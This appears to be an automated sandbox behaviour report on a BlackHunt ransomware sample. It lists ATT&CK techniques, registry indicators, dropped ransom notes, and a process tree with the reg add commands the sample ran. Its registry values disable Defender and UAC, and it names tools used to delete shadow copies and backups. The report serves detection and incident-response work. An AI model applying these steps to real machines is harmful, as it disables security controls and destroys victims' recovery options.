758c63ea4143e46cd712493d7bfdb5d8622db954166cb16c2eeddd8911c8cc94

Data Destruction

T1485

pid	Process
1264	fsutil.exe

Modifies Windows Defender Real-time Protection settings 3 TTPs 2 IoCs

evasion trojan

Modify Registry

Windows Service

T1543.003

Disable or Modify Tools

T1562.001

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1"	reg.exe

UAC bypass 3 TTPs 1 IoCs

evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

T1562.001

Modify Registry

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	758c63ea4143e46cd712493d7bfdb5d8622db954166cb16c2eeddd8911c8cc94.exe

Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware

File Deletion
T1070.004

Inhibit System Recovery
T1490

Modifies boot configuration data using bcdedit 1 TTPs 2 IoCs

ransomware evasion

Inhibit System Recovery

pid	Process
4524	bcdedit.exe
3688	bcdedit.exe

Renames multiple (536) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
ransomware

Deletes backup catalog 3 TTPs 1 IoCs

Uses wbadmin.exe to inhibit system recovery.

ransomware

Command and Scripting Interpreter

T1059

File Deletion

T1070.004

Inhibit System Recovery

pid	Process
3744	wbadmin.exe

Disables Task Manager via registry modification
evasion
Disables use of System Restore points 1 TTPs
evasion

Inhibit System Recovery
T1490

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-983843758-932321429-1636175382-1000\Control Panel\International\Geo\Nation	758c63ea4143e46cd712493d7bfdb5d8622db954166cb16c2eeddd8911c8cc94.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\{2C5F9FCC-F266-43F6-BFD7-838DAE269E11} = "C:\\ProgramData\\#BlackHunt_ReadMe.hta"	reg.exe

Checks whether UAC is enabled 1 TTPs 1 IoCs

evasion trojan

System Information Discovery

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	758c63ea4143e46cd712493d7bfdb5d8622db954166cb16c2eeddd8911c8cc94.exe

Enumerates connected drives 3 TTPs 25 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

description	ioc	Process
File opened (read-only)	\??\Q:	758c63ea4143e46cd712493d7bfdb5d8622db954166cb16c2eeddd8911c8cc94.exe
File opened (read-only)	\??\F:	vssadmin.exe
File opened (read-only)	\??\T:	758c63ea4143e46cd712493d7bfdb5d8622db954166cb16c2eeddd8911c8cc94.exe
File opened (read-only)	\??\O:	758c63ea4143e46cd712493d7bfdb5d8622db954166cb16c2eeddd8911c8cc94.exe
File opened (read-only)	\??\H:	758c63ea4143e46cd712493d7bfdb5d8622db954166cb16c2eeddd8911c8cc94.exe
File opened (read-only)	\??\L:	758c63ea4143e46cd712493d7bfdb5d8622db954166cb16c2eeddd8911c8cc94.exe
File opened (read-only)	\??\Z:	758c63ea4143e46cd712493d7bfdb5d8622db954166cb16c2eeddd8911c8cc94.exe
File opened (read-only)	\??\W:	758c63ea4143e46cd712493d7bfdb5d8622db954166cb16c2eeddd8911c8cc94.exe
File opened (read-only)	\??\R:	758c63ea4143e46cd712493d7bfdb5d8622db954166cb16c2eeddd8911c8cc94.exe
File opened (read-only)	\??\U:	758c63ea4143e46cd712493d7bfdb5d8622db954166cb16c2eeddd8911c8cc94.exe
File opened (read-only)	\??\G:	758c63ea4143e46cd712493d7bfdb5d8622db954166cb16c2eeddd8911c8cc94.exe
File opened (read-only)	\??\F:	vssadmin.exe
File opened (read-only)	\??\E:	758c63ea4143e46cd712493d7bfdb5d8622db954166cb16c2eeddd8911c8cc94.exe
File opened (read-only)	\??\P:	758c63ea4143e46cd712493d7bfdb5d8622db954166cb16c2eeddd8911c8cc94.exe
File opened (read-only)	\??\A:	758c63ea4143e46cd712493d7bfdb5d8622db954166cb16c2eeddd8911c8cc94.exe
File opened (read-only)	\??\Y:	758c63ea4143e46cd712493d7bfdb5d8622db954166cb16c2eeddd8911c8cc94.exe
File opened (read-only)	\??\I:	758c63ea4143e46cd712493d7bfdb5d8622db954166cb16c2eeddd8911c8cc94.exe
File opened (read-only)	\??\K:	758c63ea4143e46cd712493d7bfdb5d8622db954166cb16c2eeddd8911c8cc94.exe
File opened (read-only)	\??\N:	758c63ea4143e46cd712493d7bfdb5d8622db954166cb16c2eeddd8911c8cc94.exe
File opened (read-only)	\??\M:	758c63ea4143e46cd712493d7bfdb5d8622db954166cb16c2eeddd8911c8cc94.exe
File opened (read-only)	\??\V:	758c63ea4143e46cd712493d7bfdb5d8622db954166cb16c2eeddd8911c8cc94.exe
File opened (read-only)	\??\S:	758c63ea4143e46cd712493d7bfdb5d8622db954166cb16c2eeddd8911c8cc94.exe
File opened (read-only)	\??\J:	758c63ea4143e46cd712493d7bfdb5d8622db954166cb16c2eeddd8911c8cc94.exe
File opened (read-only)	\??\X:	758c63ea4143e46cd712493d7bfdb5d8622db954166cb16c2eeddd8911c8cc94.exe
File opened (read-only)	\??\B:	758c63ea4143e46cd712493d7bfdb5d8622db954166cb16c2eeddd8911c8cc94.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
4	ip-api.com

Drops file in Program Files directory 64 IoCs

description	ioc	Process
File opened for modification	C:\Program Files\Java\jre-1.8\lib\fonts\LucidaBrightRegular.ttf	758c63ea4143e46cd712493d7bfdb5d8622db954166cb16c2eeddd8911c8cc94.exe
File opened for modification	C:\Program Files\Java\jre-1.8\lib\security\javaws.policy	758c63ea4143e46cd712493d7bfdb5d8622db954166cb16c2eeddd8911c8cc94.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\legal\javafx\public_suffix.md	758c63ea4143e46cd712493d7bfdb5d8622db954166cb16c2eeddd8911c8cc94.exe
File opened for modification	C:\Program Files\7-Zip\Lang\ne.txt	758c63ea4143e46cd712493d7bfdb5d8622db954166cb16c2eeddd8911c8cc94.exe
File created	C:\Program Files\Java\jdk-1.8\jre\bin\dtplugin\#BlackHunt_ReadMe.txt	758c63ea4143e46cd712493d7bfdb5d8622db954166cb16c2eeddd8911c8cc94.exe
File opened for modification	C:\Program Files\Java\jre-1.8\legal\jdk\zlib.md	758c63ea4143e46cd712493d7bfdb5d8622db954166cb16c2eeddd8911c8cc94.exe
File created	C:\Program Files\VideoLAN\VLC\locale\am\LC_MESSAGES\#BlackHunt_ReadMe.hta	758c63ea4143e46cd712493d7bfdb5d8622db954166cb16c2eeddd8911c8cc94.exe
File created	C:\Program Files\VideoLAN\VLC\locale\de\LC_MESSAGES\#BlackHunt_ReadMe.hta	758c63ea4143e46cd712493d7bfdb5d8622db954166cb16c2eeddd8911c8cc94.exe
File opened for modification	C:\Program Files\7-Zip\Lang\sl.txt	758c63ea4143e46cd712493d7bfdb5d8622db954166cb16c2eeddd8911c8cc94.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\include\jdwpTransport.h	758c63ea4143e46cd712493d7bfdb5d8622db954166cb16c2eeddd8911c8cc94.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\lib\fonts\LucidaBrightDemiItalic.ttf	758c63ea4143e46cd712493d7bfdb5d8622db954166cb16c2eeddd8911c8cc94.exe
File opened for modification	C:\Program Files\Java\jre-1.8\legal\jdk\jpeg.md	758c63ea4143e46cd712493d7bfdb5d8622db954166cb16c2eeddd8911c8cc94.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\locale\el\LC_MESSAGES\vlc.mo	758c63ea4143e46cd712493d7bfdb5d8622db954166cb16c2eeddd8911c8cc94.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\legal\jdk\giflib.md	758c63ea4143e46cd712493d7bfdb5d8622db954166cb16c2eeddd8911c8cc94.exe
File opened for modification	C:\Program Files\Java\jre-1.8\legal\jdk\mesa3d.md	758c63ea4143e46cd712493d7bfdb5d8622db954166cb16c2eeddd8911c8cc94.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\locale\be\LC_MESSAGES\vlc.mo	758c63ea4143e46cd712493d7bfdb5d8622db954166cb16c2eeddd8911c8cc94.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\legal\javafx\jpeg_fx.md	758c63ea4143e46cd712493d7bfdb5d8622db954166cb16c2eeddd8911c8cc94.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\legal\jdk\asm.md	758c63ea4143e46cd712493d7bfdb5d8622db954166cb16c2eeddd8911c8cc94.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\lib\security\policy\unlimited\local_policy.jar	758c63ea4143e46cd712493d7bfdb5d8622db954166cb16c2eeddd8911c8cc94.exe
File created	C:\Program Files\VideoLAN\VLC\locale\ast\LC_MESSAGES\#BlackHunt_ReadMe.txt	758c63ea4143e46cd712493d7bfdb5d8622db954166cb16c2eeddd8911c8cc94.exe
File created	C:\Program Files\VideoLAN\VLC\locale\as_IN\LC_MESSAGES\#BlackHunt_ReadMe.hta	758c63ea4143e46cd712493d7bfdb5d8622db954166cb16c2eeddd8911c8cc94.exe
File opened for modification	C:\Program Files\DismountClear.mov	758c63ea4143e46cd712493d7bfdb5d8622db954166cb16c2eeddd8911c8cc94.exe
File created	C:\Program Files\Java\jdk-1.8\jre\legal\#BlackHunt_Private.key	758c63ea4143e46cd712493d7bfdb5d8622db954166cb16c2eeddd8911c8cc94.exe
File created	C:\Program Files\Java\jre-1.8\bin\plugin2\#BlackHunt_ReadMe.txt	758c63ea4143e46cd712493d7bfdb5d8622db954166cb16c2eeddd8911c8cc94.exe
File opened for modification	C:\Program Files\Java\jre-1.8\legal\javafx\public_suffix.md	758c63ea4143e46cd712493d7bfdb5d8622db954166cb16c2eeddd8911c8cc94.exe
File created	C:\Program Files\Java\jre-1.8\lib\amd64\#BlackHunt_Private.key	758c63ea4143e46cd712493d7bfdb5d8622db954166cb16c2eeddd8911c8cc94.exe
File created	C:\Program Files\Uninstall Information\#BlackHunt_ReadMe.hta	758c63ea4143e46cd712493d7bfdb5d8622db954166cb16c2eeddd8911c8cc94.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\Documentation.url	758c63ea4143e46cd712493d7bfdb5d8622db954166cb16c2eeddd8911c8cc94.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\legal\jdk\joni.md	758c63ea4143e46cd712493d7bfdb5d8622db954166cb16c2eeddd8911c8cc94.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\locale\ckb\LC_MESSAGES\vlc.mo	758c63ea4143e46cd712493d7bfdb5d8622db954166cb16c2eeddd8911c8cc94.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\legal\javafx\libxml2.md	758c63ea4143e46cd712493d7bfdb5d8622db954166cb16c2eeddd8911c8cc94.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\lib\images\cursors\win32_LinkDrop32x32.gif	758c63ea4143e46cd712493d7bfdb5d8622db954166cb16c2eeddd8911c8cc94.exe
File opened for modification	C:\Program Files\Java\jre-1.8\lib\deploy\messages_ko.properties	758c63ea4143e46cd712493d7bfdb5d8622db954166cb16c2eeddd8911c8cc94.exe
File created	C:\Program Files\VideoLAN\VLC\hrtfs\#BlackHunt_ReadMe.hta	758c63ea4143e46cd712493d7bfdb5d8622db954166cb16c2eeddd8911c8cc94.exe
File created	C:\Program Files\VideoLAN\VLC\locale\es\LC_MESSAGES\#BlackHunt_Private.key	758c63ea4143e46cd712493d7bfdb5d8622db954166cb16c2eeddd8911c8cc94.exe
File created	C:\Program Files\VideoLAN\VLC\#BlackHunt_ReadMe.hta	758c63ea4143e46cd712493d7bfdb5d8622db954166cb16c2eeddd8911c8cc94.exe
File opened for modification	C:\Program Files\7-Zip\Lang\co.txt	758c63ea4143e46cd712493d7bfdb5d8622db954166cb16c2eeddd8911c8cc94.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\legal\javafx\public_suffix.md	758c63ea4143e46cd712493d7bfdb5d8622db954166cb16c2eeddd8911c8cc94.exe
File created	C:\Program Files\Java\jre-1.8\bin\server\#BlackHunt_ReadMe.txt	758c63ea4143e46cd712493d7bfdb5d8622db954166cb16c2eeddd8911c8cc94.exe
File created	C:\Program Files\Java\jre-1.8\lib\amd64\#BlackHunt_ReadMe.hta	758c63ea4143e46cd712493d7bfdb5d8622db954166cb16c2eeddd8911c8cc94.exe
File opened for modification	C:\Program Files\Java\jre-1.8\lib\ext\jaccess.jar	758c63ea4143e46cd712493d7bfdb5d8622db954166cb16c2eeddd8911c8cc94.exe
File opened for modification	C:\Program Files\Java\jre-1.8\lib\images\cursors\win32_CopyNoDrop32x32.gif	758c63ea4143e46cd712493d7bfdb5d8622db954166cb16c2eeddd8911c8cc94.exe
File created	C:\Program Files\Java\jre-1.8\lib\security\#BlackHunt_ReadMe.hta	758c63ea4143e46cd712493d7bfdb5d8622db954166cb16c2eeddd8911c8cc94.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\bin\server\classes.jsa	758c63ea4143e46cd712493d7bfdb5d8622db954166cb16c2eeddd8911c8cc94.exe
File created	C:\Program Files\VideoLAN\VLC\locale\bg\LC_MESSAGES\#BlackHunt_ReadMe.txt	758c63ea4143e46cd712493d7bfdb5d8622db954166cb16c2eeddd8911c8cc94.exe
File created	C:\Program Files\Java\jdk-1.8\jre\lib\jfr\#BlackHunt_ReadMe.hta	758c63ea4143e46cd712493d7bfdb5d8622db954166cb16c2eeddd8911c8cc94.exe
File created	C:\Program Files\Java\jre-1.8\legal\javafx\#BlackHunt_ReadMe.hta	758c63ea4143e46cd712493d7bfdb5d8622db954166cb16c2eeddd8911c8cc94.exe
File opened for modification	C:\Program Files\Java\jre-1.8\lib\deploy\ffjcext.zip	758c63ea4143e46cd712493d7bfdb5d8622db954166cb16c2eeddd8911c8cc94.exe
File opened for modification	C:\Program Files\Java\jre-1.8\LICENSE	758c63ea4143e46cd712493d7bfdb5d8622db954166cb16c2eeddd8911c8cc94.exe
File created	C:\Program Files\VideoLAN\VLC\locale\ast\#BlackHunt_ReadMe.hta	758c63ea4143e46cd712493d7bfdb5d8622db954166cb16c2eeddd8911c8cc94.exe
File opened for modification	C:\Program Files\7-Zip\Lang\mng2.txt	758c63ea4143e46cd712493d7bfdb5d8622db954166cb16c2eeddd8911c8cc94.exe
File opened for modification	C:\Program Files\7-Zip\Lang\sk.txt	758c63ea4143e46cd712493d7bfdb5d8622db954166cb16c2eeddd8911c8cc94.exe
File created	C:\Program Files\Java\jdk-1.8\jre\lib\images\#BlackHunt_ReadMe.txt	758c63ea4143e46cd712493d7bfdb5d8622db954166cb16c2eeddd8911c8cc94.exe
File opened for modification	C:\Program Files\MergeRestart.php	758c63ea4143e46cd712493d7bfdb5d8622db954166cb16c2eeddd8911c8cc94.exe
File created	C:\Program Files\VideoLAN\VLC\locale\bg\LC_MESSAGES\#BlackHunt_ReadMe.hta	758c63ea4143e46cd712493d7bfdb5d8622db954166cb16c2eeddd8911c8cc94.exe
File created	C:\Program Files\VideoLAN\VLC\locale\en_GB\#BlackHunt_ReadMe.hta	758c63ea4143e46cd712493d7bfdb5d8622db954166cb16c2eeddd8911c8cc94.exe
File opened for modification	C:\Program Files\7-Zip\Lang\th.txt	758c63ea4143e46cd712493d7bfdb5d8622db954166cb16c2eeddd8911c8cc94.exe
File opened for modification	C:\Program Files\7-Zip\Lang\tt.txt	758c63ea4143e46cd712493d7bfdb5d8622db954166cb16c2eeddd8911c8cc94.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\lib\cmm\CIEXYZ.pf	758c63ea4143e46cd712493d7bfdb5d8622db954166cb16c2eeddd8911c8cc94.exe
File created	C:\Program Files\Java\jre-1.8\lib\deploy\#BlackHunt_Private.key	758c63ea4143e46cd712493d7bfdb5d8622db954166cb16c2eeddd8911c8cc94.exe
File opened for modification	C:\Program Files\Java\jre-1.8\lib\resources.jar	758c63ea4143e46cd712493d7bfdb5d8622db954166cb16c2eeddd8911c8cc94.exe
File opened for modification	C:\Program Files\7-Zip\Lang\it.txt	758c63ea4143e46cd712493d7bfdb5d8622db954166cb16c2eeddd8911c8cc94.exe
File opened for modification	C:\Program Files\7-Zip\Lang\ka.txt	758c63ea4143e46cd712493d7bfdb5d8622db954166cb16c2eeddd8911c8cc94.exe
File opened for modification	C:\Program Files\Java\jre-1.8\legal\javafx\mesa3d.md	758c63ea4143e46cd712493d7bfdb5d8622db954166cb16c2eeddd8911c8cc94.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Checks SCSI registry key(s) 3 TTPs 4 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_DADY&PROD_DADY_DVD-ROM\4&215468A5&0&010000	vds.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_DADY_DVD-ROM\4&215468a5&0&010000\FriendlyName	vds.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_DADY&PROD_HARDDISK\4&215468A5&0&000000	vds.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\FriendlyName	vds.exe

Creates scheduled task(s) 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

pid	Process
2240	schtasks.exe

Interacts with shadow copies 2 TTPs 5 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

pid	Process
4516	vssadmin.exe
1200	vssadmin.exe
2828	vssadmin.exe
1392	vssadmin.exe
1784	vssadmin.exe

Modifies registry class 10 IoCs

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico"	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Hunt2\DefaultIcon	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico"	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\.Hunt2	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\.Hunt2\DefaultIcon	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\DefaultIcon	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Hunt2	reg.exe

Suspicious use of AdjustPrivilegeToken 13 IoCs

description	pid	Process
Token: SeDebugPrivilege	1376	758c63ea4143e46cd712493d7bfdb5d8622db954166cb16c2eeddd8911c8cc94.exe
Token: SeRestorePrivilege	1376	758c63ea4143e46cd712493d7bfdb5d8622db954166cb16c2eeddd8911c8cc94.exe
Token: SeBackupPrivilege	1376	758c63ea4143e46cd712493d7bfdb5d8622db954166cb16c2eeddd8911c8cc94.exe
Token: SeTakeOwnershipPrivilege	1376	758c63ea4143e46cd712493d7bfdb5d8622db954166cb16c2eeddd8911c8cc94.exe
Token: SeAuditPrivilege	1376	758c63ea4143e46cd712493d7bfdb5d8622db954166cb16c2eeddd8911c8cc94.exe
Token: SeSecurityPrivilege	1376	758c63ea4143e46cd712493d7bfdb5d8622db954166cb16c2eeddd8911c8cc94.exe
Token: SeIncBasePriorityPrivilege	1376	758c63ea4143e46cd712493d7bfdb5d8622db954166cb16c2eeddd8911c8cc94.exe
Token: SeBackupPrivilege	1712	vssvc.exe
Token: SeRestorePrivilege	1712	vssvc.exe
Token: SeAuditPrivilege	1712	vssvc.exe
Token: SeBackupPrivilege	2028	wbengine.exe
Token: SeRestorePrivilege	2028	wbengine.exe
Token: SeSecurityPrivilege	2028	wbengine.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1376 wrote to memory of 1216	1376	758c63ea4143e46cd712493d7bfdb5d8622db954166cb16c2eeddd8911c8cc94.exe	89
PID 1376 wrote to memory of 1216	1376	758c63ea4143e46cd712493d7bfdb5d8622db954166cb16c2eeddd8911c8cc94.exe	89
PID 1376 wrote to memory of 1800	1376	758c63ea4143e46cd712493d7bfdb5d8622db954166cb16c2eeddd8911c8cc94.exe	91
PID 1376 wrote to memory of 1800	1376	758c63ea4143e46cd712493d7bfdb5d8622db954166cb16c2eeddd8911c8cc94.exe	91
PID 1376 wrote to memory of 2808	1376	758c63ea4143e46cd712493d7bfdb5d8622db954166cb16c2eeddd8911c8cc94.exe	93
PID 1376 wrote to memory of 2808	1376	758c63ea4143e46cd712493d7bfdb5d8622db954166cb16c2eeddd8911c8cc94.exe	93
PID 1376 wrote to memory of 4120	1376	758c63ea4143e46cd712493d7bfdb5d8622db954166cb16c2eeddd8911c8cc94.exe	98
PID 1376 wrote to memory of 4120	1376	758c63ea4143e46cd712493d7bfdb5d8622db954166cb16c2eeddd8911c8cc94.exe	98
PID 1216 wrote to memory of 1920	1216	cmd.exe	95
PID 1216 wrote to memory of 1920	1216	cmd.exe	95
PID 1376 wrote to memory of 2240	1376	758c63ea4143e46cd712493d7bfdb5d8622db954166cb16c2eeddd8911c8cc94.exe	97
PID 1376 wrote to memory of 2240	1376	758c63ea4143e46cd712493d7bfdb5d8622db954166cb16c2eeddd8911c8cc94.exe	97
PID 1800 wrote to memory of 4600	1800	cmd.exe	100
PID 1800 wrote to memory of 4600	1800	cmd.exe	100
PID 2808 wrote to memory of 4576	2808	cmd.exe	101
PID 2808 wrote to memory of 4576	2808	cmd.exe	101
PID 4120 wrote to memory of 224	4120	cmd.exe	102
PID 4120 wrote to memory of 224	4120	cmd.exe	102
PID 2240 wrote to memory of 3536	2240	cmd.exe	103
PID 2240 wrote to memory of 3536	2240	cmd.exe	103
PID 1376 wrote to memory of 2396	1376	758c63ea4143e46cd712493d7bfdb5d8622db954166cb16c2eeddd8911c8cc94.exe	105
PID 1376 wrote to memory of 2396	1376	758c63ea4143e46cd712493d7bfdb5d8622db954166cb16c2eeddd8911c8cc94.exe	105
PID 1376 wrote to memory of 2264	1376	758c63ea4143e46cd712493d7bfdb5d8622db954166cb16c2eeddd8911c8cc94.exe	107
PID 1376 wrote to memory of 2264	1376	758c63ea4143e46cd712493d7bfdb5d8622db954166cb16c2eeddd8911c8cc94.exe	107
PID 1376 wrote to memory of 1656	1376	758c63ea4143e46cd712493d7bfdb5d8622db954166cb16c2eeddd8911c8cc94.exe	109
PID 1376 wrote to memory of 1656	1376	758c63ea4143e46cd712493d7bfdb5d8622db954166cb16c2eeddd8911c8cc94.exe	109
PID 1376 wrote to memory of 1560	1376	758c63ea4143e46cd712493d7bfdb5d8622db954166cb16c2eeddd8911c8cc94.exe	111
PID 1376 wrote to memory of 1560	1376	758c63ea4143e46cd712493d7bfdb5d8622db954166cb16c2eeddd8911c8cc94.exe	111
PID 1376 wrote to memory of 3908	1376	758c63ea4143e46cd712493d7bfdb5d8622db954166cb16c2eeddd8911c8cc94.exe	113
PID 1376 wrote to memory of 3908	1376	758c63ea4143e46cd712493d7bfdb5d8622db954166cb16c2eeddd8911c8cc94.exe	113
PID 1376 wrote to memory of 5072	1376	758c63ea4143e46cd712493d7bfdb5d8622db954166cb16c2eeddd8911c8cc94.exe	115
PID 1376 wrote to memory of 5072	1376	758c63ea4143e46cd712493d7bfdb5d8622db954166cb16c2eeddd8911c8cc94.exe	115
PID 1560 wrote to memory of 1488	1560	cmd.exe	117
PID 1560 wrote to memory of 1488	1560	cmd.exe	117
PID 2396 wrote to memory of 3864	2396	cmd.exe	118
PID 2396 wrote to memory of 3864	2396	cmd.exe	118
PID 1376 wrote to memory of 3260	1376	758c63ea4143e46cd712493d7bfdb5d8622db954166cb16c2eeddd8911c8cc94.exe	119
PID 1376 wrote to memory of 3260	1376	758c63ea4143e46cd712493d7bfdb5d8622db954166cb16c2eeddd8911c8cc94.exe	119
PID 1656 wrote to memory of 3112	1656	cmd.exe	122
PID 1656 wrote to memory of 3112	1656	cmd.exe	122
PID 2264 wrote to memory of 1556	2264	cmd.exe	121
PID 2264 wrote to memory of 1556	2264	cmd.exe	121
PID 1376 wrote to memory of 5016	1376	758c63ea4143e46cd712493d7bfdb5d8622db954166cb16c2eeddd8911c8cc94.exe	123
PID 1376 wrote to memory of 5016	1376	758c63ea4143e46cd712493d7bfdb5d8622db954166cb16c2eeddd8911c8cc94.exe	123
PID 3908 wrote to memory of 1040	3908	cmd.exe	125
PID 3908 wrote to memory of 1040	3908	cmd.exe	125
PID 5072 wrote to memory of 1396	5072	cmd.exe	126
PID 5072 wrote to memory of 1396	5072	cmd.exe	126
PID 1376 wrote to memory of 2204	1376	758c63ea4143e46cd712493d7bfdb5d8622db954166cb16c2eeddd8911c8cc94.exe	127
PID 1376 wrote to memory of 2204	1376	758c63ea4143e46cd712493d7bfdb5d8622db954166cb16c2eeddd8911c8cc94.exe	127
PID 1376 wrote to memory of 1748	1376	758c63ea4143e46cd712493d7bfdb5d8622db954166cb16c2eeddd8911c8cc94.exe	129
PID 1376 wrote to memory of 1748	1376	758c63ea4143e46cd712493d7bfdb5d8622db954166cb16c2eeddd8911c8cc94.exe	129
PID 3260 wrote to memory of 2180	3260	cmd.exe	131
PID 3260 wrote to memory of 2180	3260	cmd.exe	131
PID 5016 wrote to memory of 1080	5016	cmd.exe	132
PID 5016 wrote to memory of 1080	5016	cmd.exe	132
PID 1376 wrote to memory of 692	1376	758c63ea4143e46cd712493d7bfdb5d8622db954166cb16c2eeddd8911c8cc94.exe	133
PID 1376 wrote to memory of 692	1376	758c63ea4143e46cd712493d7bfdb5d8622db954166cb16c2eeddd8911c8cc94.exe	133
PID 1376 wrote to memory of 4412	1376	758c63ea4143e46cd712493d7bfdb5d8622db954166cb16c2eeddd8911c8cc94.exe	135
PID 1376 wrote to memory of 4412	1376	758c63ea4143e46cd712493d7bfdb5d8622db954166cb16c2eeddd8911c8cc94.exe	135
PID 2204 wrote to memory of 4196	2204	cmd.exe	137
PID 2204 wrote to memory of 4196	2204	cmd.exe	137
PID 1748 wrote to memory of 2996	1748	cmd.exe	138
PID 1748 wrote to memory of 2996	1748	cmd.exe	138

System policy modification 1 TTPs 3 IoCs

evasion

Modify Registry

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System	758c63ea4143e46cd712493d7bfdb5d8622db954166cb16c2eeddd8911c8cc94.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	758c63ea4143e46cd712493d7bfdb5d8622db954166cb16c2eeddd8911c8cc94.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLinkedConnections = "1"	758c63ea4143e46cd712493d7bfdb5d8622db954166cb16c2eeddd8911c8cc94.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\758c63ea4143e46cd712493d7bfdb5d8622db954166cb16c2eeddd8911c8cc94.exe
"C:\Users\Admin\AppData\Local\Temp\758c63ea4143e46cd712493d7bfdb5d8622db954166cb16c2eeddd8911c8cc94.exe"
1⤵
- UAC bypass
- Checks computer location settings
- Checks whether UAC is enabled
- Enumerates connected drives
- Drops file in Program Files directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
- System policy modification
PID:1376
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1216
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f
    3⤵
    - Modifies registry class
    PID:1920
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1800
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
    3⤵
    - Modifies registry class
    PID:4600
- C:\Windows\System32\cmd.exe
